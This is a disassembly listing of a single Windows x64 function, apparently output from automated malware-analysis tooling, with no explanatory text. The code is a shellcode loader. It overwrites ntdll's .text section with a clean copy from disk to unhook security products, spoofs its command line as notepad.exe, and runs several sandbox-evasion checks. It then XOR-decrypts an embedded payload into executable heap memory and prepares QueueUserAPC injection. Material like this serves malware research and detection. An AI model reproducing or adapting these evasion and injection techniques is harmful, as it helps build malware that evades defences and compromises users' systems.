Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x878
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7e0], xmm6
mov dword [rbp + 0x820], ecx
mov qword [rbp + 0x828], rdx
call fcn.140002ac0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x758], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x750], rax
mov ecx, 0x4140
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov dword [rbp + 0x7dc], 0
mov dword [rbp + 0x744], 1
mov dword [rbp + 0x7d8], 0
jmp 0x14000155c
mov dword [rbp + 0x7d4], 0
jmp 0x14000154c
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7d8]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x748]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7d4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x47
jle 0x1400014ed
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x39
jle 0x1400014e1
mov dword [rbp + 0x7d8], 0
jmp 0x1400015d2
mov dword [rbp + 0x7d4], 0
jmp 0x1400015c2
mov eax, dword [rbp + 0x7d8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x748]
add rdx, rax
mov eax, dword [rbp + 0x7d4]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400015bb
add dword [rbp + 0x7dc], 1
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x47
jle 0x140001581
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x39
jle 0x140001575
cmp dword [rbp + 0x7dc], 0x828
je 0x1400015f1
mov dword [rbp + 0x744], 0
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c8], rax
cmp qword [rbp + 0x7c8], 0
jne 0x140001684
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7c8], rax
cmp qword [rbp + 0x7c8], 0
je 0x140001cd6
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
mov rax, qword [rbp + 0x738]
mov r10, qword [rbp + 0x7c8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 0x730], rax
mov ecx, 0x1320
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov ecx, 0x1320
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x720], rax
mov ecx, 0x1320
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7c4], 0
jmp 0x1400017fc
mov dword [rbp + 0x7c0], 0
jmp 0x1400017e8
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7c4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x728]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7c4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x720]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x47
jle 0x140001721
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x10
jle 0x140001712
mov dword [rbp + 0x7c4], 0
jmp 0x1400018d9
mov dword [rbp + 0x7c0], 0
jmp 0x1400018c5
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x728]
add rdx, rax
mov eax, dword [rbp + 0x7c0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x720]
add rdx, rax
mov eax, dword [rbp + 0x7c0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x718]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x47
jle 0x140001827
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x10
jle 0x140001818
mov rax, qword [rbp + 0x728]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x720]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x730]
add rax, rdx
mov qword [rbp + 0x6f0], rax
mov dword [rbp + 0x6ec], 0
mov ecx, 0xbc4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x7bc], 0
jmp 0x140001afe
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x6ec], edx
mov edx, dword [rbp + 0x6ec]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x6ec], eax
cmp dword [rbp + 0x6ec], 0x168
jle 0x140001a84
mov eax, dword [rbp + 0x7bc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001af7
cmp dword [rbp + 0x6ec], 0
jns 0x140001ab1
mov eax, dword [rbp + 0x7bc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001af7
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x6ec]
movsd xmm0, qword [0x1400065a0]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x7bc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x2f0
jle 0x140001a1d
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x7ba], 0
jmp 0x140001cbe
mov rax, qword [rbp + 0x6f0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6f0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7ba]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x7b4], 0xffffffff
add dword [rbp + 0x7b4], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0xac
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065b0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x6d0], rax
cmp dword [rbp + 0x7b4], 0x9d
jle 0x140001b71
mov rax, qword [rbp + 0x6d8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001cad
mov dword [rbp + 0x578], 0
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x700]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x578]
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7ba]
add eax, 1
mov word [rbp + 0x7ba], ax
mov rax, qword [rbp + 0x6f0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7ba], ax
jb 0x140001b2b
mov dword [rbp + 0x57c], 0
mov rax, qword [rbp + 0x758]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x580]
lea rax, [rbp + 0x57c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x588]
add rax, 0x3c
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x7b0], 0
jmp 0x140001d96
call sub.msvcrt.dll_rand
imul eax, eax, 0xaf
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065b0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x5c8], rax
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x179
jle 0x140001d55
mov rax, qword [rbp + 0x6c0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov ecx, 0x198
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x7a8], 0
mov dword [rbp + 0x7a4], 0
mov dword [rbp + 0x7ac], 0
jmp 0x140001e31
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x65
jle 0x140001de5
mov dword [rbp + 0x7ac], 0
jmp 0x140001e6f
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7a8], eax
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x65
jle 0x140001e46
mov dword [rbp + 0x7ac], 0
jmp 0x140001ef4
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x7a4]
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x5d4]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x1400065b8]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003dc0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x7a4], eax
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x65
jle 0x140001e84
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x7a4]
movss xmm1, dword [0x1400065c0]
divss xmm0, xmm1
movss dword [rbp + 0x6b4], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x6b4]
movq rax, xmm4
movq xmm0, rax
call fcn.140003ab0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6b0], xmm0
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
jne 0x1400029f0
mov qword [rbp + 0x698], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x135c280
mov ecx, 0
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
je 0x1400029f0
mov rax, qword [rbp + 0x698]
mov edx, 0x135c280
mov rcx, rax
call fcn.140004a80
mov rax, qword [rbp + 0x698]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x798], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
je 0x1400020f1
mov rax, qword [rbp + 0x688]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x680]
mov r9d, 0x3000
mov r8d, 0x356
mov edx, 0
call rax
mov qword [rbp + 0x798], rax
cmp qword [rbp + 0x798], 0
je 0x1400029f0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
jne 0x1400029f0
mov qword [rbp + 0x790], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0
je 0x1400021ea
mov rax, qword [rbp + 0x668]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x660]
mov r9d, 0x3000
mov r8d, 0x2d4
mov edx, 0
call rax
mov qword [rbp + 0x790], rax
cmp qword [rbp + 0x790], 0
je 0x1400029f0
mov ecx, 0x40e
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x40e
jne 0x1400029f0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x658], 0
je 0x140002286
mov rax, qword [rbp + 0x658]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov ecx, 0
call rax
mov dword [rbp + 0x78c], eax
cmp dword [rbp + 0x78c], 0xffffffff
je 0x1400029f0
mov qword [rbp + 0x648], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2528e80
mov ecx, 0
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x1400029f0
mov rax, qword [rbp + 0x648]
mov edx, 0x2528e80
mov rcx, rax
call fcn.140004a80
mov rax, qword [rbp + 0x648]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
jne 0x1400029f0
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x630], rax
cmp qword [rbp + 0x630], 0
jne 0x1400029f0
mov dword [rbp + 0x788], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x780], xmm0
add dword [rbp + 0x788], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x788]
movsd xmm0, qword [0x1400065c8]
addsd xmm0, xmm1
mov rax, qword [0x1400065d0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003dc0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x788]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065c8]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x780]
addsd xmm0, xmm1
movsd qword [rbp + 0x780], xmm0
cmp dword [rbp + 0x788], 0x67
jle 0x1400023a6
movsd xmm1, qword [rbp + 0x780]
movsd xmm0, qword [0x1400065d8]
mulsd xmm0, xmm1
movsd qword [rbp + 0x780], xmm0
lea rax, [rbp + 0x100]
lea rdx, [0x140006128]
mov ecx, 0x8f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x750]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x750]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x628]
mov r8d, 0
mov edx, 0x477
mov ecx, 0x40000
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov r9, qword [rbp + 0x620]
mov r8d, 0x477
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x610], rax
mov dword [rbp + 0x778], 0x2f8
mov dword [rbp + 0x77c], 0x2f8
jmp 0x140002509
sub dword [rbp + 0x778], 1
sub dword [rbp + 0x77c], 1
cmp dword [rbp + 0x77c], 0x50
jg 0x1400024fb
mov rax, qword [rbp + 0x758]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x610]
mov r9, qword [rbp + 0x608]
mov r8d, 0x477
mov rcx, rax
call r9
mov dword [rbp + 0x774], 0
mov dword [rbp + 0x770], 0
mov dword [rbp + 0x76c], 0
movabs rax, 0x3b508ab9093f31d1
movabs rdx, 0xb2d8f3492682b4d7
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x35affcfabbe13850
movabs rdx, 0xaa243b1acd159419
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xab0dc2b16a56327c
movabs rdx, 0x597b658703a37a98
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x8bcb11a9b11947db
movabs rdx, 0x71778f694943d547
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x4b33383b06d49e7f
movabs rdx, 0xd5bd753f56b3a395
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xd9e7c437661da442
movabs rdx, 0x5ab3a63038f56926
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xa1f6a36806ffdc09
movabs rdx, 0x427fd9c82b7fc2c
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
mov word [rbp + 0xf0], 0x71
movabs rax, 0xca66f108f5f1056a
movabs rdx, 0x4efe5b756cc2a1f6
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x327a4695b36f256e
movabs rdx, 0xf11f7fa46ea236d5
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xb95d8bf0919a8543
movabs rdx, 0xdfbaee753a0b74a4
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x6678dc8486fc4145
movabs rdx, 0xd6d62cf688fd63a2
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x4216eda99ebbce49
movabs rdx, 0xe2e28d7049d0ad57
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x854cf0a6471e2
mov qword [rbp + 0x6f], rax
mov dword [rbp + 0x768], 0xffffffff
mov ecx, 0x1810
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
add dword [rbp + 0x768], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065b0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x768]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x600]
add rax, rdx
movsd xmm1, qword [0x1400065c8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x768]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x600]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x768]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x600]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x768], 0x300
jle 0x14000271e
jmp 0x140002817
mov eax, dword [rbp + 0x774]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x770]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x774]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x770], 0x70
jne 0x140002809
mov dword [rbp + 0x770], 0
jmp 0x140002810
add dword [rbp + 0x770], 1
add dword [rbp + 0x774], 1
mov eax, dword [rbp + 0x774]
cmp eax, 0x55
jbe 0x1400027c9
mov dword [rbp + 0x774], 0
mov dword [rbp + 0x760], 0
mov dword [rbp + 0x5fc], 0
mov ecx, 0x7e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov dword [rbp + 0x764], 0
jmp 0x1400028d9
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x760], eax
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x1f8
jle 0x14000285d
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x14000295b
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x610]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x76c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x610]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x76c], 0x55
jne 0x14000294d
mov dword [rbp + 0x76c], 0
jmp 0x140002954
add dword [rbp + 0x76c], 1
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x476
jle 0x1400028fa
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x750]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
